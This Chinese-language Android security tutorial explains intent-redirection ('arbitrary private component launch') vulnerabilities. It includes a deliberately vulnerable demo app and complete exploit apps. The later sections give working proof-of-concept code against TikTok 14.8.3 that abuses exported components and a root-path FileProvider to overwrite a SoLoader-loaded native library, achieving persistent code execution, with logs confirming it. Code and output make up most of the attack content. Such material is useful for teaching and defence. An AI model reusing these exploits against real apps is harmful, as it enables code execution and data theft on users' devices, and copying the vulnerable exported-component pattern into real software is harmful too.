Date
Version
Description
Author
0x00 前言
任意私有组件启动是安卓应用非常经典的一类漏洞模型，简单来说就是漏洞应用调用startActivity()方法的时候，其参数intent外部可控，或者部分字段可控，结合漏洞应用的特性或者FileProvider配置，即可实现任意私有文件读写，如果VictimAPP安装目录下存在可执行文件，在应用运行时存在动态加载的操作，那么使用任意私有文件读写原语就可以覆盖动态库，进一步实现任意代码执行
0x01 任意私有组件启动漏洞
1.1 创建漏洞应用工程
来看简化后的漏洞模式，组件MainActivity导出，其onCreate()方法获取传入Intent的一个字段作为startActivity()的参数进行调用，这就叫作任意私有组件启动漏洞
Copy public class MainActivity extends AppCompatActivity {
final private static String TAG = String.format("[*] [%s]", MainActivity.class.getName());
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
Log.e(TAG, "onCreate: " + getIntent().toUri(Intent.URI_INTENT_SCHEME));
Intent target_intent = getIntent().getParcelableExtra("target_intent");
if (target_intent != null) {
startActivity(target_intent);
}
}
} 再创建一个私有Activity组件PrivateActivity作为利用组件
Copy public class PrivateActivity extends Activity {
final private static String TAG = String.format("[*] [%s]", PrivateActivity.class.getName());
@Override
protected void onCreate(@Nullable Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.private_layout);
Log.e(TAG, "onCreate: " + getIntent().toUri(Intent.URI_INTENT_SCHEME));
}
} 1.2 创建漏洞利用工程
将打开私有组件的target_intent塞到发送出去的Intent里
Copy public class MainActivity extends AppCompatActivity {
final private static String TAG = String.format("[*] [%s]", MainActivity.class.getName());
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
Log.e(TAG, "onCreate: " + getIntent().toUri(Intent.URI_INTENT_SCHEME));
String victimPackageName = "com.wnagzihxa1n.vulnerableapp.startactivity";
String victimMainActivityName = "com.wnagzihxa1n.vulnerableapp.startactivity.MainActivity";
String victimPrivateActivityName = "com.wnagzihxa1n.vulnerableapp.startactivity.PrivateActivity";
Intent expIntent = new Intent();
expIntent.setClassName(victimPackageName, victimPrivateActivityName);
Intent intent = new Intent();
intent.setClassName(victimPackageName, victimMainActivityName);
intent.putExtra("target_intent", expIntent);
startActivity(intent);
}
} 1.3 调试记录
运行VictimAPP，打印出日志
Copy E/[*] [com.wnagzihxa1n.vulnerableapp.startactivity.MainActivity]: onCreate: intent:#Intent;action=android.intent.action.MAIN;category=android.intent.category.LAUNCHER;launchFlags=0x10000000;component=com.wnagzihxa1n.vulnerableapp.startactivity/.MainActivity;end 运行ExploitAPP，此时会再次打印出MainActivity.onCreate()的日志，然后跳转到PrivateActivity，再次打印出PrivateActivity.onCreate()的日志
日志信息，先打开VictimAPP的MainActivity，再跳到PrivateActivity
Copy E/[*] [com.wnagzihxa1n.vulnerableapp.startactivity.MainActivity]: onCreate: intent:#Intent;component=com.wnagzihxa1n.vulnerableapp.startactivity/.MainActivity;end
2022-04-18 19:57:25.924 10397-10397/com.wnagzihxa1n.vulnerableapp.startactivity E/[*] [com.wnagzihxa1n.vulnerableapp.startactivity.PrivateActivity]: onCreate: intent:#Intent;component=com.wnagzihxa1n.vulnerableapp.startactivity/.PrivateActivity;end 0x02 结合FileProvider授权私有文件访问特性实现任意私有文件读写
拥有任意私有组件启动漏洞有一个通用的利用方式，就是结合FileProvider配置获取到VictimAPP安装目录下私有文件的文件读、写或者读写权限
首先来理解下FileProvider的使用场景，谷歌为了替换file://这种文件URI，使用FileProvider来描述文件
在VictimAPP里创建一个VictimFileProvider
Copy public class VictimFileProvider extends FileProvider {
} 在Manifest里添加配置，authorities和name用于描述当前的FileProvider，grantUriPermissions表示当前FileProvider可以提供临时访问授权，一般情况下，FileProvider不能配置为导出，其中的meta-data里会包含一个xml文件，这个文件描述了当前FileProvider可以访问的路径
Copy <provider
android:authorities="com.wnagzihxa1n.vulnerableapp.startactivity.VictimFileProvider"
android:name="com.wnagzihxa1n.vulnerableapp.startactivity.VictimFileProvider"
android:grantUriPermissions="true"
android:exported="false">
<meta-data
android:name="android.support.FILE_PROVIDER_PATHS"
android:resource="@xml/victim_paths" />
</provider> 在victim_paths.xml里，root-path描述系统根目录，files-path描述安装应用目录下的files文件夹，cache-path和external-path分别表示缓存目录和SD卡下的目录，一般来说许多应用为了业务方便都直接配置root-path，部分被攻破的应用会增强这部分的配置
Copy <?xml version="1.0" encoding="utf-8"?>
<paths>
<root-path name="root" path=""/>
<files-path name="internal_files" path="."/>
<cache-path name="cache" path=""/>
<external-path name="external_files" path="images"/>
</paths> 修改ExploitAPP的expIntent，有两个新增字段，Flags用于描述授权的类型，分别是读、写或者读写，Data用于描述指向的文件URI，这里也可以指向路径文件夹前缀，表示整个文件夹的访问权限授权，对应的Flags字段也要做修改，最后修改要打开的组件为ExploitAPP的ExploitActivity，用于授权后读取VictimAPP私有目录文件
Copy public class MainActivity extends AppCompatActivity {
final private static String TAG = String.format("[*] [%s]", MainActivity.class.getName());
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
Log.e(TAG, "onCreate: " + getIntent().toUri(Intent.URI_INTENT_SCHEME));
String exploitPackageName = "com.wnagzihxa1n.exploit.startactivity";
String exploitActivityyName = "com.wnagzihxa1n.exploit.startactivity.ExploitActivity";
Intent expIntent = new Intent();
expIntent.setClassName(exploitPackageName, exploitActivityyName);
expIntent.setFlags(Intent.FLAG_GRANT_READ_URI_PERMISSION|Intent.FLAG_GRANT_WRITE_URI_PERMISSION);
expIntent.setData(Uri.parse("content://com.wnagzihxa1n.vulnerableapp.startactivity.VictimFileProvider/root/data/data/com.wnagzihxa1n.vulnerableapp.startactivity/attack_by_wnagzihxa1n"));
String victimPackageName = "com.wnagzihxa1n.vulnerableapp.startactivity";
String victimMainActivityName = "com.wnagzihxa1n.vulnerableapp.startactivity.MainActivity";
Intent intent = new Intent();
intent.setClassName(victimPackageName, victimMainActivityName);
intent.putExtra("target_intent", expIntent);
startActivity(intent);
}
} ExploitAPP创建ExploitActivity
Copy public class ExploitActivity extends Activity {
final private static String TAG = String.format("[*] [%s]", ExploitActivity.class.getName());
@Override
protected void onCreate(@Nullable Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
Log.e(TAG, "onCreate: " + getIntent().toUri(Intent.URI_INTENT_SCHEME));
}
} 日志一共有三段：
第一段是ExploitAPP启动时的日志
Copy [*] [com.wnagzih...ty.MainActivity] com.wnagzihxa1n.exploit.startactivity E onCreate: intent:#Intent;action=android.intent.action.MAIN;category=android.intent.category.LAUNCHER;launchFlags=0x10000000;component=com.wnagzihxa1n.exploit.startactivity/.MainActivity;end 第二段是VictimAPPP（被调用）启动时的日志
Copy [*] [com.wnagzih...ty.MainActivity] com.wnagzihxa1n.vulnerableapp.startactivity E onCreate: intent:#Intent;component=com.wnagzihxa1n.vulnerableapp.startactivity/.MainActivity;end 第三段是跳回ExploitAPP的ExploitActivity的日志
Copy [*] [com.wnagzih...ExploitActivity] com.wnagzihxa1n.exploit.startactivity E onCreate: intent://com.wnagzihxa1n.vulnerableapp.startactivity.VictimFileProvider/root/data/data/com.wnagzihxa1n.vulnerableapp.startactivity/attack_by_wnagzihxa1n#Intent;scheme=content;launchFlags=0x3;component=com.wnagzihxa1n.exploit.startactivity/.ExploitActivity;end 整个利用的流程如下
修改ExploitAPP的ExploitActivity，获取传入的URI进行数据写入
Copy public class ExploitActivity extends Activity {
final private static String TAG = String.format("[*] [%s]", ExploitActivity.class.getName());
@Override
protected void onCreate(@Nullable Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
Log.e(TAG, "onCreate: " + getIntent().toUri(Intent.URI_INTENT_SCHEME));
try {
OutputStream outputStream = getContentResolver().openOutputStream(getIntent().getData());
IOUtils.copy(getAssets().open("hacked_by_wnagzihxa1n"), outputStream);
outputStream.close();
} catch (IOException e) {
e.printStackTrace();
}
}
} 成功写入，那么进一步的利用就是寻找动态库去覆写，如果没有动态库或者动态库加载过程存在签名校验，可以结合具体的业务逻辑实现进一步的利用
Copy crosshatch:/data/data/com.wnagzihxa1n.vulnerableapp.startactivity # ls -al
total 32
drwx------ 5 u0_a156 u0_a156 3488 2022-04-19 00:31 .
drwxrwx--x 208 system system 24576 2022-04-18 19:55 ..
-rwx------ 1 u0_a156 u0_a156 0 2022-04-19 00:31 attack_by_wnagzihxa1n // <--
drwxrws--x 2 u0_a156 u0_a156_cache 3488 2022-04-18 19:15 cache
drwxrws--x 2 u0_a156 u0_a156_cache 3488 2022-04-18 19:15 code_cache
drwxrwx--x 2 u0_a156 u0_a156 3488 2022-04-18 22:38 files 这里使用到了一个三方文件读写库
https://dlcdn.apache.org/commons/io/binaries/
0x03 实例漏洞
在掌握了最基本的漏洞模型与利用方式之后，我们结合几个RealWorld真实案例来深入掌握这部分的知识
3.1 TikTok漏洞一：[TikTok] [14.8.3] NotificationBroadcastReceiver任意私有组件启动结合FileProvider机制与FbSoLoader框架导致本地代码执行漏洞
完整漏洞分析
https://wnagzihxa1n.gitbook.io/happy-android-security/application_security/bytedancetiktokcomzhiliaoappmusically1483notificationbroadcastreceiver-ren-yi-si-you-zu-jian-qi-dong
https://www.apkmirror.com/apk/tiktok-pte-ltd/tik-tok-including-musical-ly/tik-tok-including-musical-ly-14-8-3-release/
组件com.ss.android.ugc.awemepushlib.os.receiver.NotificationBroadcastReceiver导出
Copy <receiver android:name="com.ss.android.ugc.awemepushlib.os.receiver.NotificationBroadcastReceiver">
<intent-filter>
<action android:name="notification_cancelled"/>
</intent-filter>
</receiver> 当Action为notification_clicked的时候，会获取contentIntentURI传入startActivity()进行跳转，由于contentIntentURI外部可控，所以可以跳转调用任意私有不导出Activity组件
Copy public class NotificationBroadcastReceiver extends BroadcastReceiver {
@Override // android.content.BroadcastReceiver
public void onReceive(Context context, Intent intent) {
if(context != null && intent != null) {
String action = intent.getAction();
int intent_type = intent.getIntExtra("type", -1);
if(intent_type != -1) {
((NotificationManager)context.getSystemService("notification")).cancel(intent_type);
}
Intent intent_contentIntentURI = (Intent)intent.getParcelableExtra("contentIntentURI");
if(("notification_clicked".equals(action)) && intent_contentIntentURI != null) {
try {
intent_contentIntentURI.getDataString();
context.startActivity(intent_contentIntentURI); // [1]
}
catch(Exception unused_ex) {
}
}
if("notification_cancelled".equals(action)) {
Map map = null;
if(intent_contentIntentURI != null) {
map = (Map)intent_contentIntentURI.getSerializableExtra("log_data_extra_to_adsapp");
}
h.a("push_clear", map);
}
return;
}
}
} 找到一个可用的FileProvider
Copy <provider
android:authorities="com.zhiliaoapp.musically.fileprovider"
android:exported="false"
android:grantUriPermissions="true"
android:name="android.support.v4.content.FileProvider">
<meta-data android:name="android.support.FILE_PROVIDER_PATHS" android:resource="@xml/c"/>
</provider> 对应的配置文件
Copy <?xml version="1.0" encoding="UTF-8"?>
<paths xmlns:android="http://schemas.android.com/apk/res/android">
<root-path name="name" path=""/>
...
</paths> 给漏洞组件com.ss.android.ugc.awemepushlib.os.receiver.NotificationBroadcastReceiver发送广播
Copy public class MainActivity extends AppCompatActivity {
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
handleIntent(getIntent());
}
private void handleIntent(Intent i) {
Intent intent = new Intent("notification_clicked");
intent.setClassName("com.zhiliaoapp.musically", "com.ss.android.ugc.awemepushlib.os.receiver.NotificationBroadcastReceiver");
sendBroadcast(intent);
}
} 回顾下漏洞代码段，会获取contentIntentURI字段，用于后续跳转
Copy Intent intent_contentIntentURI = (Intent)intent.getParcelableExtra("contentIntentURI");
if(("notification_clicked".equals(action)) && intent_contentIntentURI != null) {
try {
intent_contentIntentURI.getDataString();
context.startActivity(intent_contentIntentURI); // 启动外部可控的Intent
}
catch(Exception unused_ex) {
}
} 如下即可实现指定应用获取URI指向文件的读写权限，从NotificationBroadcastReceiver跳到ExploitAPP的MainActivity的时候就获得了对URI指向文件的读写权限，此处指定的文件是/data/user/0/com.zhiliaoapp.musically/lib-main/libimagepipeline.so，同时指定了Action为TIKTOK_ATTACK_NotificationBroadcastReceiver，会去调用else分支，将我们的SO文件写入指定的路径
Copy public class MainActivity extends AppCompatActivity {
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
handleIntent(getIntent());
}
@Override
protected void onNewIntent(Intent intent) {
super.onNewIntent(intent);
handleIntent(intent);
}
private void handleIntent(Intent i) {
if(!"TIKTOK_ATTACK_NotificationBroadcastReceiver".equals(i.getAction())) {
// NotificationBroadcastReceiver.onReceive()调用startActivity()使用的Intent，用于PoC获取FileProvider的文件读写权限
Intent next = new Intent("TIKTOK_ATTACK_NotificationBroadcastReceiver");
next.setClassName(getPackageName(), getClass().getCanonicalName());
next.setFlags(Intent.FLAG_GRANT_PERSISTABLE_URI_PERMISSION | Intent.FLAG_GRANT_WRITE_URI_PERMISSION);
next.setData(Uri.parse("content://com.zhiliaoapp.musically.fileprovider/name/data/user/0/com.zhiliaoapp.musically/lib-main/libimagepipeline.so"));
// 发往NotificationBroadcastReceiver的Intent
Intent intent = new Intent("notification_clicked");
intent.setClassName("com.zhiliaoapp.musically", "com.ss.android.ugc.awemepushlib.os.receiver.NotificationBroadcastReceiver");
intent.putExtra("contentIntentURI", next);
sendBroadcast(intent);
}
else {
try {
OutputStream outputStream = getContentResolver().openOutputStream(i.getData());
InputStream inputStream = getAssets().open("evil_lib.so");
IOUtils.copy(inputStream, outputStream);
inputStream.close();
outputStream.close();
}
catch (Throwable th) {
throw new RuntimeException(th);
}
}
}
} 我们分析下为什么是文件com.zhiliaoapp.musically/lib-main/libimagepipeline.so，这得从Facebook开源的SoLoader说起，这个工具可以自动实现SO文件的加载，能够解决大量动态库的依赖问题，它有个特点是会把所有的动态库放到/data/data/PackageName/lib-main，然后应用启动的时候会去这个路径下加载动态库，但在测试过程中，这个路径下默认是没有库文件的
那我们既然拥有/data/data/com.zhiliaoapp.musically下文件的读写能力，就可以指定其中一个动态库去覆写，应用启动的时候就会加载我们覆写后的动态库，实现代码执行
我们使用如下的代码生成用于攻击的SO，提取其中64位的版本放到ExploitAPP的Assets文件夹下
Copy #include <jni.h>
#include <string>
#include <android/log.h>
#define LOG_TAG "######################################################"
#define LOGE(...) __android_log_print(ANDROID_LOG_ERROR,LOG_TAG,__VA_ARGS__)
JNIEXPORT jint JNI_OnLoad(JavaVM* vm, void* reserved) {
LOGE("Debug: [%s] \n", __FUNCTION__);
JNIEnv* env;
if (vm->GetEnv(reinterpret_cast<void**>(&env), JNI_VERSION_1_6) != JNI_OK) {
return JNI_ERR;
}
return JNI_VERSION_1_6;
} 需要注意的是不同版本有不一样的行为，在某些版本并不能生成lib-main文件夹，可以替换成app_librarian/14.8.3.6327148996
攻击过程：先安装TikTok，点击启动运行，再运行ExploitAPP，覆写SO，再重启TikTok就会发现漏洞利用成功，这样也会造成问题，有的库函数没有实现会导致崩溃，需要手动调用原来的libimagepipeline.so库函数，并把结果返回
Copy 04-29 15:01:09.720 14186 14500 E ######################################################: Debug: [JNI_OnLoad]
04-29 15:01:09.720 14186 14500 E zygote : No implementation found for long com.facebook.imagepipeline.memory.NativeMemoryChunk.nativeAllocate(int) (tried Java_com_facebook_imagepipeline_memory_NativeMemoryChunk_nativeAllocate and Java_com_facebook_imagepipeline_memory_NativeMemoryChunk_nativeAllocate__I)
04-29 15:01:09.721 14186 14500 E AndroidRuntime: FATAL EXCEPTION: FrescoIoBoundExecutor-2
04-29 15:01:09.721 14186 14500 E AndroidRuntime: Process: com.zhiliaoapp.musically, PID: 14186
04-29 15:01:09.721 14186 14500 E AndroidRuntime: java.lang.UnsatisfiedLinkError: No implementation found for long com.facebook.imagepipeline.memory.NativeMemoryChunk.nativeAllocate(int) (tried Java_com_facebook_imagepipeline_memory_NativeMemoryChunk_nativeAllocate and Java_com_facebook_imagepipeline_memory_NativeMemoryChunk_nativeAllocate__I)
04-29 15:01:10.514 14186 14194 E zygote : No implementation found for void com.facebook.imagepipeline.memory.NativeMemoryChunk.nativeFree(long) (tried Java_com_facebook_imagepipeline_memory_NativeMemoryChunk_nativeFree and Java_com_facebook_imagepipeline_memory_NativeMemoryChunk_nativeFree__J)
04-29 15:01:10.514 14186 14194 E System : java.lang.UnsatisfiedLinkError: No implementation found for void com.facebook.imagepipeline.memory.NativeMemoryChunk.nativeFree(long) (tried Java_com_facebook_imagepipeline_memory_NativeMemoryChunk_nativeFree and Java_com_facebook_imagepipeline_memory_NativeMemoryChunk_nativeFree__J) 3.2 TikTok漏洞二：[TikTok] [14.8.3] DetailActivity任意私有组件启动结合FileProvider机制与FbSoLoader框架导致本地代码执行漏洞
完整漏洞分析
https://wnagzihxa1n.gitbook.io/happy-android-security/application_security/bytedancetiktokcomzhiliaoappmusically1483detailactivity-ren-yi-si-you-zu-jian-qi-dong-jie-he-filepro
https://www.apkmirror.com/apk/tiktok-pte-ltd/tik-tok-including-musical-ly/tik-tok-including-musical-ly-14-8-3-release/
组件com.ss.android.ugc.aweme.detail.ui.DetailActivity导出
Copy <activity
android:name="com.ss.android.ugc.aweme.detail.ui.DetailActivity"
android:screenOrientation="portrait"
android:configChanges="keyboard|keyboardHidden|orientation|screenSize"
android:windowSoftInputMode="adjustUnspecified|stateHidden|adjustResize">
<intent-filter>
<action android:name="android.intent.action.VIEW"/>
<category android:name="android.intent.category.DEFAULT"/>
<data android:scheme="taobao" android:host="detail.aweme.sdk.com"/>
</intent-filter>
</activity> 获取传入的Intent去跳转，点击返回键来触发，返回键大部分的安卓机都是有的
Copy @Override // android.support.v4.app.FragmentActivity
public void onBackPressed() {
if(com.ss.android.ugc.aweme.utils.d.c.c()) {
Intent intent = (Intent)this.getIntent().getParcelableExtra("VENDOR_BACK_INTENT_FOR_INTENT_KEY");
if(intent != null && intent.resolveActivity(this.getPackageManager()) != null) {
this.startActivity(intent);
this.finish();
return;
}
}
...
} 利用过程和前一个漏洞一样，利用FileProvider的权限获得对私有目录动态库的读写能力，覆写后重启TikTok实现持久化RCE
References
